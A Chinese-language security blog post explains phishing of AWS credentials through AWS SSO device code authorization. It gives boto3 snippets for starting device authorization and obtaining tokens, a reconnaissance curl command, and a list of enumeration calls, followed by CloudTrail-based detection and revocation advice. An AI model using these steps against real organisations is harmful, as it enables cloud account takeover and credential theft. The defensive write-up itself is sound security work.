通过AWS SSO设备代码认证进行AWS凭证钓鱼攻击(2024年更新)

76 阅读2分钟

通过AWS SSO设备代码认证进行AWS凭证钓鱼攻击(2024年更新)

背景

AWS SSO简介

AWS SSO(现称为Identity Center)是AWS提供的多账户权限管理服务。支持三种身份源:

  • 直接创建在AWS SSO身份存储中
  • 从Active Directory同步
  • 通过SAML集成第三方身份提供商(如Okta)

CLI使用机制

AWS SSO实现了OAuth 2.0设备授权许可标准,支持CLI认证流程:

$ aws configure sso
SSO start URL: https://my-sso-portal.awsapps.com/start
SSO region: us-east-1

系统会生成设备验证链接和代码,用户通过浏览器完成认证。

攻击原理

设备代码授权流程

  1. 客户端调用sso-oidc:RegisterClient注册OIDC客户端
  2. 调用sso-oidc:StartDeviceAuthorization生成验证链接
  3. 用户打开链接完成身份提供商认证
  4. 客户端调用sso-oidc:CreateToken获取SSO访问令牌

钓鱼攻击步骤

步骤0:获取目标信息 通过社会工程或子域名发现获取AWS SSO URL:

$ curl https://victim.awsapps.com/start/ | grep 'meta name="region"'

步骤1:发起设备代码授权

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(clientName='my-attacker')
authz = sso_oidc.start_device_authorization(
    clientId=client_id,
    startUrl=AWS_SSO_START_URL
)

步骤2:发送钓鱼链接 受害者看到合法的AWS验证页面,只需点击"允许"即可完成授权。

步骤3:获取访问令牌

token_response = sso_oidc.create_token(
    deviceCode=deviceCode,
    grantType="urn:ietf:params:oauth:grant-type:device_code"
)

步骤4:枚举AWS资源

  • 列出可访问账户:sso:ListAccounts
  • 列出账户角色:sso:ListAccountRoles
  • 获取STS凭证:sso:GetRoleCredentials

检测与防护

CloudTrail日志事件

攻击步骤CloudTrail事件源IP
生成设备代码无日志N/A
受害者查看提示sso:ListApplications受害者IP
获取访问令牌sso-oidc:CreateToken攻击者IP
枚举账户角色sso:ListAccounts/sso:ListAccountRoles攻击者IP

检测策略

  1. 邮件网关检测:拦截device.sso.<region>.amazonaws.com链接
  2. IP差异检测:监控短时间内不同IP的ListApplications和CreateToken事件
  3. 异常活动检测:监控sso:ListAccountRoles事件数量异常增长

凭证撤销

通过移除用户的所有权限集分配可立即撤销访问令牌:

  • 直接移除用户权限分配
  • 移除所属组的权限分配

结论

设备代码认证虽然提升了CLI使用体验,但存在固有的钓鱼风险。组织需要结合安全意识培训和CloudTrail监控来加强防护。AWS明确表示这是设计特性而非漏洞,所有实现OIDC设备代码认证的身份提供商都存在类似风险。